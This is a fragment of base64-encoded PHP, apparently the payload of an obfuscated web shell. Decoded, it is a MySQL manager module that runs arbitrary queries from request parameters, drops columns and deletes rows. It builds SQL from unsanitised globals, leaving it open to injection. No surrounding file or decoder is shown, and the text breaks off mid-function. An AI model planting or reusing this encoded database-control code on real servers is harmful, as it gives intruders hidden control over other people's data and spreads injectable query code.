UgIjsNCgkkcXVlcnlTdHIgLj0gIiR1bnNpZ25lZCAkemVyb2ZpbGwgJGJpbmFyeSAiOw0KCWlmKCAkZGVmYXVsdF92YWx1ZSAhPSAiIiApDQoJCSRxdWVyeVN0ciAuPSAiREVGQVVMVCAnJGRlZmF1bHRfdmFsdWUnICI7DQoJJHF1ZXJ5U3RyIC49ICIkbm90X251bGwgJGF1dG9faW5jcmVtZW50IjsNCglteXNxbF9zZWxlY3RfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOw0KCW15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIsICRteXNxbEhhbmRsZSApOw0KCSRlcnJNc2cgPSBteXNxbF9lcnJvcigpOw0KCS8vIGtleSBjaGFuZ2UNCgkka2V5Q2hhbmdlID0gZmFsc2U7DQoJJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCAiU0hPVyBLRVlTIEZST00gJHRhYmxlbmFtZSIgKTsNCgkkcHJpbWFyeSA9ICIiOw0KCXdoaWxlKCAkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkgKQ0KCQlpZiggJHJvd1siS2V5X25hbWUiXSA9PSAiUFJJTUFSWSIgKSB7DQoJCQlpZiggJHJvd1tDb2x1bW5fbmFtZV0gPT0gJG5hbWUgKQ0KCQkJCSRrZXlDaGFuZ2UgPSB0cnVlOw0KCQkJZWxzZQ0KCQkJCSRwcmltYXJ5IC49ICIsICRyb3dbQ29sdW1uX25hbWVdIjsNCgkJfQ0KCWlmKCAkcHJpbWFyeV9rZXkgPT0gIlBSSU1BUlkgS0VZIiApIHsNCgkJJHByaW1hcnkgLj0gIiwgJG5hbWUiOw0KCQkka2V5Q2hhbmdlID0gISRrZXlDaGFuZ2U7DQoJfQ0KCSRwcmltYXJ5ID0gc3Vic3RyKCAkcHJpbWFyeSwgMiApOw0KCWlmKCAka2V5Q2hhbmdlID09IHRydWUgKSB7DQoJCSRxID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgRFJPUCBQUklNQVJZIEtFWSI7DQoJCW15c3FsX3F1ZXJ5KCAkcSApOw0KCQkkcXVlcnlTdHIgLj0gIjxicj5cbiIgLiAkcTsNCgkJJGVyck1zZyAuPSAiPGJyPlxuIiAuIG15c3FsX2Vycm9yKCk7DQoJCSRxID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgQUREIFBSSU1BUlkgS0VZKCAkcHJpbWFyeSApIjsNCgkJbXlzcWxfcXVlcnkoICRxICk7DQoJCSRxdWVyeVN0ciAuPSAiPGJyPlxuIiAuICRxOw0KCQkkZXJyTXNnIC49ICI8YnI+XG4iIC4gbXlzcWxfZXJyb3IoKTsNCgl9DQoJdmlld1NjaGVtYSgpOw0KfQ0KDQpmdW5jdGlvbiBkcm9wRmllbGQoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJGZpZWxkbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoJJHF1ZXJ5U3RyID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgRFJPUCBDT0xVTU4gJGZpZWxkbmFtZSI7DQoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglteXNxbF9xdWVyeSggJHF1ZXJ5U3RyICwgJG15c3FsSGFuZGxlICk7DQoJJGVyck1zZyA9IG15c3FsX2Vycm9yKCk7DQoJdmlld1NjaGVtYSgpOw0KfQ0KDQpmdW5jdGlvbiB2aWV3RGF0YSggJHF1ZXJ5U3RyICkgew0KCWdsb2JhbCAkYWN0aW9uLCAkbXlzcWxIYW5kbGUsICRkYm5hbWUsICR0YWJsZW5hbWUsICRQSFBfU0VMRiwgJGVyck1zZywgJHBhZ2UsICRyb3dwZXJwYWdlLCAkb3JkZXJieTsNCgllY2hvICI8aDE+RGF0YSBpbiBUYWJsZTwvaDE+XG4iOw0KCWlmKCAkdGFibGVuYW1lICE9ICIiICkNCgkJZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+JGRibmFtZSAmZ3Q7ICR0YWJsZW5hbWU8L3A+XG4iOw0KCWVsc2UNCgkJZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+JGRibmFtZTwvcD5cbiI7DQoJJHF1ZXJ5U3RyID0gc3RyaXBzbGFzaGVzKCAkcXVlcnlTdHIgKTsNCglpZiggJHF1ZXJ5U3RyID09ICIiICkgew0KCQkkcXVlcnlTdHIgPSAiU0VMRUNUICogRlJPTSAkdGFibGVuYW1lIjsNCgkJaWYoICRvcmRlcmJ5ICE9ICIiICkNCgkJCSRxdWVyeVN0ciAuPSAiIE9SREVSIEJZICRvcmRlcmJ5IjsNCgkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1hZGREYXRhJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5BZGQgRGF0YTwvYT4gfCBcbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dmlld1NjaGVtYSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+U2NoZW1hPC9hPlxuIjsNCgl9DQoJJHBSZXN1bHQgPSBteXNxbF9kYl9xdWVyeSggJGRibmFtZSwgJHF1ZXJ5U3RyICk7DQoJJGZpZWxkdCA9IG15c3FsX2ZldGNoX2ZpZWxkKCRwUmVzdWx0KTsNCgkkdGFibGVuYW1lID0gJGZpZWxkdC0+dGFibGU7DQoJJGVyck1zZyA9IG15c3FsX2Vycm9yKCk7DQoJJEdMT0JBTFNbcXVlcnlTdHJdID0gJHF1ZXJ5U3RyOw0KCWlmKCAkcFJlc3VsdCA9PSBmYWxzZSApIHsNCgkJZWNob1F1ZXJ5UmVzdWx0KCk7DQoJCXJldHVybjsNCgl9DQoJaWYoICRwUmVzdWx0ID09IDEgKSB7DQoJCSRlcnJNc2cgPSAiU3VjY2VzcyI7DQoJCWVjaG9RdWVyeVJlc3VsdCgpOw0KCQlyZXR1cm47DQoJfQ0KCWVjaG8gIjxocj5cbiI7DQoJJHJvdyA9IG15c3FsX251bV9yb3dzKCAkcFJlc3VsdCApOw0KCSRjb2wgPSBteXNxbF9udW1fZmllbGRzKCAkcFJlc3VsdCApOw0KCWlmKCAkcm93ID09IDAgKSB7DQoJCWVjaG8gIk5vIERhdGEgRXhpc3QhIjsNCgkJcmV0dXJuOw0KCX0NCglpZiggJHJvd3BlcnBhZ2UgPT0gIiIgKSAkcm93cGVycGFnZSA9IDMwOw0KCWlmKCAkcGFnZSA9PSAiIiApICRwYWdlID0gMDsNCgllbHNlICRwYWdlLS07DQoJbXlzcWxfZGF0YV9zZWVrKCAkcFJlc3VsdCwgJHBhZ2UgKiAkcm93cGVycGFnZSApOw0KCWVjaG8gIjx0YWJsZSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTI+XG4iOw0KCWVjaG8gIjx0cj5cbiI7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJGNvbDsgJGkrKyApIHsNCgkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfZmllbGQoICRwUmVzdWx0LCAkaSApOw0KCQllY2hvICI8dGg+IjsNCgkJaWYoJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IikNCgkJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJm9yZGVyYnk9Ii4kZmllbGQtPm5hbWUuIic+Ii4kZmllbGQtPm5hbWUuIjwvYT5cbiI7DQoJCWVsc2UNCgkJCWVjaG8gJGZpZWxkLT5uYW1lLiJcbiI7DQoJCWVjaG8gIjwvdGg+XG4iOw0KCX0NCgllY2hvICI8dGggY29sc3Bhbj0yPkFjdGlvbjwvdGg+XG4iOw0KCWVjaG8gIjwvdHI+XG4iOw0KCWZvciggJGkgPSAwOyAkaSA8ICRyb3dwZXJwYWdlOyAkaSsrICkgew0KCQkkcm93QXJyYXkgPSBteXNxbF9mZXRjaF9yb3coICRwUmVzdWx0ICk7DQoJCWlmKCAkcm93QXJyYXkgPT0gZmFsc2UgKSBicmVhazsNCgkJZWNobyAiPHRyPlxuIjsNCgkJJGtleSA9ICIiOw0KCQlmb3IoICRqID0gMDsgJGogPCAkY29sOyAkaisrICkgew0KCQkJJGRhdGEgPSAkcm93QXJyYXlbJGpdOw0KCQkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfZmllbGQoICRwUmVzdWx0LCAkaiApOw0KCQkJaWYoICRmaWVsZC0+cHJpbWFyeV9rZXkgPT0gMSApDQoJCQkJJGtleSAuPSAiJiIgLiAkZmllbGQtPm5hbWUgLiAiPSIgLiAkZGF0YTsNCgkJCWlmKCBzdHJsZW4oICRkYXRhICkgPiAzMCApDQoJCQkJJGRhdGEgPSBzdWJzdHIoICRkYXRhLCAwLCAzMCApIC4gIi4uLiI7DQoJCQkkZGF0YSA9IGh0bWxzcGVjaWFsY2hhcnMoICRkYXRhICk7DQoJCQllY2hvICI8dGQ+XG4iOw0KCQkJZWNobyAiJGRhdGFcbiI7DQoJCQllY2hvICI8L3RkPlxuIjsNCgkJfQ0KCQlpZiggJGtleSA9PSAiIiApDQoJCQllY2hvICI8dGQgY29sc3Bhbj0yPm5vIEtleTwvdGQ+XG4iOw0KCQllbHNlIHsNCgkJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWVkaXREYXRhJGtleSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+RWRpdDwvYT48L3RkPlxuIjsNCgkJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWRlbGV0ZURhdGEka2V5JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0RlbGV0ZSBSb3c/JylcIj5EZWxldGU8L2E+PC90ZD5cbiI7DQoJCX0NCgkJZWNobyAiPC90cj5cbiI7DQoJfQ0KCWVjaG8gIjwvdGFibGU+XG4iOw0KCWVjaG8gIjxmb250IHNpemU9MiBjbGFzcz1cIm5ld1wiPlxuIjsNCglpZigkYWN0aW9uID09ICJkbWxsZDBSaGRHRT0iKQ0KCQllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBtZXRob2Q9cG9zdD5cbiI7DQoJZWxzZQ0KCQllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRj9hY3Rpb249cXVlcnkmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmcXVlcnlTdHI9JHF1ZXJ5U3RyJyBtZXRob2Q9cG9zdD5cbiI7DQoJZWNobyAoJHBhZ2UrMSkuIi8iLihpbnQpKCRyb3cvJHJvd3BlcnBhZ2UrMSkuIiBwYWdlIjsNCgllY2hvICI8L2ZvbnQ+XG4iOw0KCWVjaG8gIiB8ICI7DQoJaWYoICRwYWdlID4gMCApIHsNCgkJaWYoJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IikNCgkJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJnBhZ2U9Ii4oJHBhZ2UpOw0KCQllbHNlDQoJCQllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXF1ZXJ5JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJnF1ZXJ5U3RyPSRxdWVyeVN0ciZwYWdlPSIuKCRwYWdlKTsNCgkJaWYoICRvcmRlcmJ5ICE9ICIiICYmICRhY3Rpb24gPT0gImRtbGxkMFJoZEdFPSIpDQoJCQllY2hvICImb3JkZXJieT0kb3JkZXJieSI7DQoJCWVjaG8gIic+UHJldjwvYT5cbiI7DQoJfSBlbHNlDQoJCWVjaG8gIjxmb250IHNpemU9MiBjbGFzcz1cIm5ld1wiPlByZXY8L2ZvbnQ+IjsNCgllY2hvICIgfCAiOw0KCWlmKCAkcGFnZSA8ICgkcm93LyRyb3dwZXJwYWdlKS0xICkgew0KCQlpZigkYWN0aW9uID09ICJkbWxsZDBSaGRHRT0iKQ0KCQkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kbWxsZDBSaGRHRT0mZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmcGFnZT0iLigkcGFnZSsyKTsNCgkJZWxzZQ0KCQkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1xdWVyeSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSZxdWVyeVN0cj0kcXVlcnlTdHImcGFnZT0iLigkcGFnZSsyKTsNCgkJaWYoICRvcmRlcmJ5ICE9ICIiICYmICRhY3Rpb24gPT0gImRtbGxkMFJoZEdFPSIpDQoJCQllY2hvICImb3JkZXJieT0kb3JkZXJieSI7DQoJCWVjaG8gIic+TmV4dDwvYT5cbiI7DQoJfSBlbHNlDQoJCWVjaG8gIk5leHQiOw0KCWVjaG8gIiB8ICI7DQoJaWYoICRyb3cgPiAkcm93cGVycGFnZSApIHsNCgkJZWNobyAiPGlucHV0IHR5cGU9dGV4dCBzaXplPTQgbmFtZT1wYWdlPlxuIjsNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdHbyc+XG4iOw0KCX0NCgllY2hvICI8L2Zvcm0+XG4iOw0KCWVjaG8gIjwvZm9udD5cbiI7DQp9DQoNCmZ1bmN0aW9uIG1hbmFnZURhdGEoICRjbWQgKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGgxPkFkZCBEYXRhPC9oMT5cbiI7DQoJZWxzZSBpZiggJGNtZCA9PSAiZWRpdCIgKSB7DQoJCWVjaG8gIjxoMT5FZGl0IERhdGE8L2gxPlxuIjsNCgkJJHBSZXN1bHQgPSBteXNxbF9saXN0X2ZpZWxkcyggJGRibmFtZSwgJHRhYmxlbmFtZSApOw0KCQkkbnVtID0gbXlzcWxfbnVtX2ZpZWxkcyggJHBSZXN1bHQgKTsNCgkJJGtleSA9ICIiOw0KCQlmb3IoICRpID0gMDsgJGkgPCAkbnVtOyAkaSsrICkgew0KCQkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfZmllbGQoICRwUmVzdWx0LCAkaSApOw0KCQkJaWYoICRmaWVsZC0+cHJpbWFyeV9rZXkgPT0gMSApDQoJCQkJaWYoICRmaWVsZC0+bnVtZXJpYyA9PSAxICkNCgkJCQkJJGtleSAuPSAkZmllbGQtPm5hbWUgLiAiPSIgLiAkR0xPQkFMU1skZmllbGQtPm5hbWVdIC4gIiBBTkQgIjsNCgkJCQllbHNlDQoJCQkJCSRrZXkgLj0gJGZpZWxkLT5uYW1lIC4gIj0nIiAuICRHTE9CQUxTWyRmaWVsZC0+bmFtZV0gLiAiJyBBTkQgIjsNCgkJfQ0KCQkka2V5ID0gc3Vic3RyKCAka2V5LCAwLCBzdHJsZW4oJGtleSktNCApOw0KCQlteXNxbF9zZWxlY3RfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOw0KCQkkcFJlc3VsdCA9IG15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIgPSAgIlNFTEVDVCAqIEZST00gJHRhYmxlbmFtZSBXSEVSRSAka2V5IiwgJG15c3FsSGFuZGxlICk7DQoJCSRkYXRhID0gbXlzcWxfZmV0Y2hfYXJyYXkoICRwUmVzdWx0ICk7DQoJfQ0KCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWUgJmd0OyAkdGFibGVuYW1lPC9wPlxuIjsNCgllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRicgbWV0aG9kPXBvc3Q+XG4iOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVlPWFkZERhdGFfc3VibWl0PlxuIjsNCgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApDQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdGlvbiB2YWx1ZT1lZGl0RGF0YV9zdWJtaXQ+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRibmFtZSB2YWx1ZT0kZGJuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT10YWJsZW5hbWUgdmFsdWU9JHRhYmxlbmFtZT5cbiI7DQoJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9Mj5cbiI7DQoJZWNobyAiPHRyPlxuIjsNCgllY2hvICI8dGg+TmFtZTwvdGg+XG4iOw0KCWVjaG8gIjx0aD5UeXBlPC90aD5cbiI7DQoJZWNobyAiPHRoPkZ1bmN0aW9uPC90aD5cbiI7DQoJZWNobyAiPHRoPkRhdGE8L3RoPlxuIjsNCgllY2hvICI8L3RyPlxuIjsNCgkkcFJlc3VsdCA9IG15c3FsX2RiX3F1ZXJ5KCAkZGJuYW1lLCAiU0hPVyBmaWVsZHMgRlJPTSAkdGFibGVuYW1lIiApOw0KCSRudW0gPSBteXNxbF9udW1fcm93cyggJHBSZXN1bHQgKTsNCgkkcFJlc3VsdExlbiA9IG15c3FsX2xpc3RfZmllbGRzKCAkZGJuYW1lLCAkdGFibGVuYW1lICk7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bTsgJGkrKyApIHsNCgkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfYXJyYXkoICRwUmVzdWx0ICk7DQoJCSRmaWVsZG5hbWUgPSAkZmllbGRbIkZpZWxkIl07DQoJCSRmaWVsZHR5cGUgPSAkZmllbGRbIlR5cGUiXTsNCgkJJGxlbiA9IG15c3FsX2ZpZWxkX2xlbiggJHBSZXN1bHRMZW4sICRpICk7DQoJCWVjaG8gIjx0cj4iOw0KCQllY2hvICI8dGQ+JGZpZWxkbmFtZTwvdGQ+IjsNCgkJZWNobyAiPHRkPiIuJGZpZWxkWyJUeXBlIl0uIjwvdGQ+IjsNCgkJZWNobyAiPHRkPlxuIjsNCgkJZWNobyAiPHNlbGVjdCBuYW1lPSR7ZmllbGRuYW1lfV9mdW5jdGlvbj5cbiI7DQoJCWVjaG8gIjxvcHRpb24+XG4iOw0KCQllY2hvICI8b3B0aW9uPkFTQ0lJXG4iOw0KCQllY2hvICI8b3B0aW9uPkNIQVJcbiI7DQoJCWVjaG8gIjxvcHRpb24+U09VTkRFWFxuIjsNCgkJZWNobyAiPG9wdGlvbj5DVVJEQVRFXG4iOw0KCQllY2hvICI8b3B0aW9uPkNVUlRJTUVcbiI7DQoJCWVjaG8gIjxvcHRpb24+RlJPTV9EQVlTXG4iOw0KCQllY2hvICI8b3B0aW9uPkZST01fVU5JWFRJTUVcbiI7DQoJCWVjaG8gIjxvcHRpb24+Tk9XXG4iOw0KCQllY2hvICI8b3B0aW9uPlBBU1NXT1JEXG4iOw0KCQllY2hvICI8b3B0aW9uPlBFUklPRF9BRERcbiI7DQoJCWVjaG8gIjxvcHRpb24+UEVSSU9EX0RJRkZcbiI7DQoJCWVjaG8gIjxvcHRpb24+VE9fREFZU1xuIjsNCgkJZWNobyAiPG9wdGlvbj5VU0VSXG4iOw0KCQllY2hvICI8b3B0aW9uPldFRUtEQVlcbiI7DQoJCWVjaG8gIjxvcHRpb24+UkFORFxuIjsNCgkJZWNobyAiPC9zZWxlY3Q+XG4iOw0KCQllY2hvICI8L3RkPlxuIjsNCgkJJHZhbHVlID0gaHRtbHNwZWNpYWxjaGFycygkZGF0YVskaV0pOw0KCQlpZiggJGNtZCA9PSAiYWRkIiApIHsNCgkJCSR0eXBlID0gc3RydG9rKCAkZmllbGR0eXBlLCAiICgsKVxuIiApOw0KCQkJaWYoICR0eXBlID09ICJlbnVtIiB8fCAkdHlwZSA9PSAic2V0IiApIHsNCgkJCQllY2hvICI8dGQ+XG4iOw0KCQkJCWlmKCAkdHlwZSA9PSAiZW51bSIgKQ0KCQkJCQllY2hvICI8c2VsZWN0IG5hbWU9JGZpZWxkbmFtZT5cbiI7DQoJCQkJZWxzZSBpZiggJHR5cGUgPT0gInNldCIgKQ0KCQkJCQllY2hvICI8c2VsZWN0IG5hbWU9JGZpZWxkbmFtZSBzaXplPTQgbXVsdGlwbGU+XG4iOw0KCQkJCXdoaWxlKCAkc3RyID0gc3RydG9rKCAiJyIgKSApIHsNCgkJCQkJZWNobyAiPG9wdGlvbj4kc3RyXG4iOw0KCQkJCQlzdHJ0b2soICInIiApOw0KCQkJCX0NCgkJCQllY2hvICI8L3NlbGVjdD5cbiI7DQoJCQkJZWNobyAiPC90ZD5cbiI7DQoJCQl9IGVsc2Ugew0KCQkJCWlmKCAkbGVuIDwgNDAgKQ0KCQkJCQllY2hvICI8dGQ+PGlucHV0IHR5cGU9dGV4dCBzaXplPTQwIG1heGxlbmd0aD0kbGVuIG5hbWU9JGZpZWxkbmFtZT48L3RkPlxuIjsNCgkJCQllbHNlDQoJCQkJCWVjaG8gIjx0ZD48dGV4dGFyZWEgY29scz00MCByb3dzPTMgbWF4bGVuZ3RoPSRsZW4gbmFtZT0kZmllbGRuYW1lPjwvdGV4dGFyZWE+XG4iOw0KCQkJfQ0KCQl9IGVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkgew0KCQkJJHR5cGUgPSBzdHJ0b2soICRmaWVsZHR5cGUsICIgKCwpXG4iICk7DQoJCQlpZiggJHR5cGUgPT0gImVudW0iIHx8ICR0eXBlID09ICJzZXQiICkgew0KCQkJCWVjaG8gIjx0ZD5cbiI7DQoJCQkJaWYoICR0eXBlID09ICJlbnVtIiApDQoJCQkJCWVjaG8gIjxzZWxlY3QgbmFtZT0kZmllbGRuYW1lPlxuIjsNCgkJCQllbHNlIGlmKCAkdHlwZSA9PSAic2V0IiApDQoJCQkJCWVjaG8gIjxzZWxlY3QgbmFtZT0kZmllbGRuYW1lIHNpemU9NCBtdWx0aXBsZT5cbiI7DQoJCQkJd2hpbGUoICRzdHIgPSBzdHJ0b2soICInIiApICkgew0KCQkJCQlpZiggJHZhbHVlID09ICRzdHIgKQ0KCQkJCQkJZWNobyAiPG9wdGlvbiBzZWxlY3RlZD4kc3RyXG4iOw0KCQkJCQllbHNlDQoJCQkJCQllY2hvICI8b3B0aW9uPiRzdHJcbiI7DQoJCQkJCXN0cnRvayggIiciICk7DQoJCQkJfQ0KCQkJCWVjaG8gIjwvc2VsZWN0PlxuIjsNCgkJCQllY2hvICI8L3RkPlxuIjsNCgkJCX0gZWxzZSB7DQoJCQkJaWYoICRsZW4gPCA0MCApDQoJCQkJCWVjaG8gIjx0ZD48aW5wdXQgdHlwZT10ZXh0IHNpemU9NDAgbWF4bGVuZ3RoPSRsZW4gbmFtZT0kZmllbGRuYW1lIHZhbHVlPVwiJHZhbHVlXCI+PC90ZD5cbiI7DQoJCQkJZWxzZQ0KCQkJCQllY2hvICI8dGQ+PHRleHRhcmVhIGNvbHM9NDAgcm93cz0zIG1heGxlbmd0aD0kbGVuIG5hbWU9JGZpZWxkbmFtZT4kdmFsdWU8L3RleHRhcmVhPlxuIjsNCgkJCX0NCgkJfQ0KCQllY2hvICI8L3RyPiI7DQoJfQ0KCWVjaG8gIjwvdGFibGU+PHA+XG4iOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdBZGQgRGF0YSc+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdFZGl0IERhdGEnPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1idXR0b24gdmFsdWU9J0NhbmNlbCcgb25DbGljaz0naGlzdG9yeS5iYWNrKCknPlxuIjsNCgllY2hvICI8L2Zvcm0+XG4iOw0KfQ0KDQpmdW5jdGlvbiBtYW5hZ2VEYXRhX3N1Ym1pdCggJGNtZCApIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkZmllbGRuYW1lLCAkUEhQX1NFTEYsICRxdWVyeVN0ciwgJGVyck1zZzsNCgkkcFJlc3VsdCA9IG15c3FsX2xpc3RfZmllbGRzKCAkZGJuYW1lLCAkdGFibGVuYW1lICk7DQoJJG51bSA9IG15c3FsX251bV9maWVsZHMoICRwUmVzdWx0ICk7DQoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglpZiggJGNtZCA9PSAiYWRkIiApDQoJCSRxdWVyeVN0ciA9ICJJTlNFUlQgSU5UTyAkdGFibGVuYW1lIFZBTFVFUyAoIjsNCgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApDQoJCSRxdWVyeVN0ciA9ICJSRVBMQUNFIElOVE8gJHRhYmxlbmFtZSBWQUxVRVMgKCI7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bS0xOyAkaSsrICkgew0KCQkkZmllbGQgPSBteXNxbF9mZXRjaF9maWVsZCggJHBSZXN1bHQgKTsNCgkJJGZ1bmMgPSAkR0xPQkFMU1skZmllbGQtPm5hbWUuIl9mdW5jdGlvbiJdOw0KCQlpZiggJGZ1bmMgIT0gIiIgKQ0KCQkJJHF1ZXJ5U3RyIC49ICIgJGZ1bmMoIjsNCgkJaWYoICRmaWVsZC0+bnVtZXJpYyA9PSAxICkgew0KCQkJJHF1ZXJ5U3RyIC49ICRHTE9CQUxTWyRmaWVsZC0+bmFtZV07DQoJCQlpZiggJGZ1bmMgIT0gIiIgKQ0KCQkJCSRxdWVyeVN0ciAuPSAiKSwiOw0KCQkJZWxzZQ0KCQkJCSRxdWVyeVN0ciAuPSAiLCI7DQoJCX0gZWxzZSB7DQoJCQkkcXVlcnlTdHIgLj0gIiciIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXTsNCgkJCWlmKCAkZnVuYyAhPSAiIiApDQoJCQkJJHF1ZXJ5U3RyIC49ICInKSwiOw0KCQkJZWxzZQ0KCQkJCSRxdWVyeVN0ciAuPSAiJywiOw0KCQl9DQoJfQ0KCSRmaWVsZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJlc3VsdCApOw0KCWlmKCAkZmllbGQtPm51bWVyaWMgPT0gMSApDQoJCSRxdWVyeVN0ciAuPSAkR0xPQkFMU1skZmllbGQtPm5hbWVdIC4gIikiOw0KCWVsc2UNCgkJJHF1ZXJ5U3RyIC49ICInIiAuICRHTE9CQUxTWyRmaWVsZC0+bmFtZV0gLiAiJykiOw0KCW15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIgLCAkbXlzcWxIYW5kbGUgKTsNCgkkZXJyTXNnID0gbXlzcWxfZXJyb3IoKTsNCgl2aWV3RGF0YSggIiIgKTsNCn0NCg0KZnVuY3Rpb24gZGVsZXRlRGF0YSgpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkZmllbGRuYW1lLCAkUEhQX1NFTEYsICRxdWVyeVN0ciwgJGVyck1zZzsNCgkkcFJlc3VsdCA9IG15c3FsX2xpc3RfZmllbGRzKCAkZGJuYW1lLCAkdGFibGVuYW1lICk7DQoJJG51bSA9IG15c3FsX251bV9maWVsZHMoICRwUmVzdWx0ICk7DQoJJGtleSA9ICIiOw0KCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJlc3VsdCwgJGkgKTsNCgkJaWYoICRmaWVsZC0+cHJpbWFyeV9rZXkgPT0gMSApDQoJCQlpZiggJGZpZWxkLT5udW1lcmljID09IDEgKQ0KCQkJCSRrZXkgLj0gJGZpZWxkLT5uYW1lIC4gIj0iIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXSAuICIgQU5EICI7DQoJCQllbHNlDQoJCQkJJGtleSAuPSAkZmllbGQtPm5hbWUgLiAiPSciIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXSAuICInIEFORCAiOw0KCX0NCgkka2V5ID0gc3Vic3RyKCAka2V5LCAwLCBzdHJsZW4oJGtleSktNCApOw0KCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJJHF1ZXJ5U3RyID0gICJERUxFVEUgRlJPTSAkdGFibGVuYW1lIFdIRVJFICRrZXkiOw0KCW15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIsICRteXNxbEhhbmRsZSApOw0KCSRlcnJNc2cgPSBteXNxbF9lcnJvcigpOw0KCXZpZXdEYXRhKCAiIiApOw0KfQ0KDQpmdW5jdGlvbiBmZXRjaF90YWJsZV9kdW1wX3NxbCgkdGFibGUpDQp7DQoJZ2xvYmFs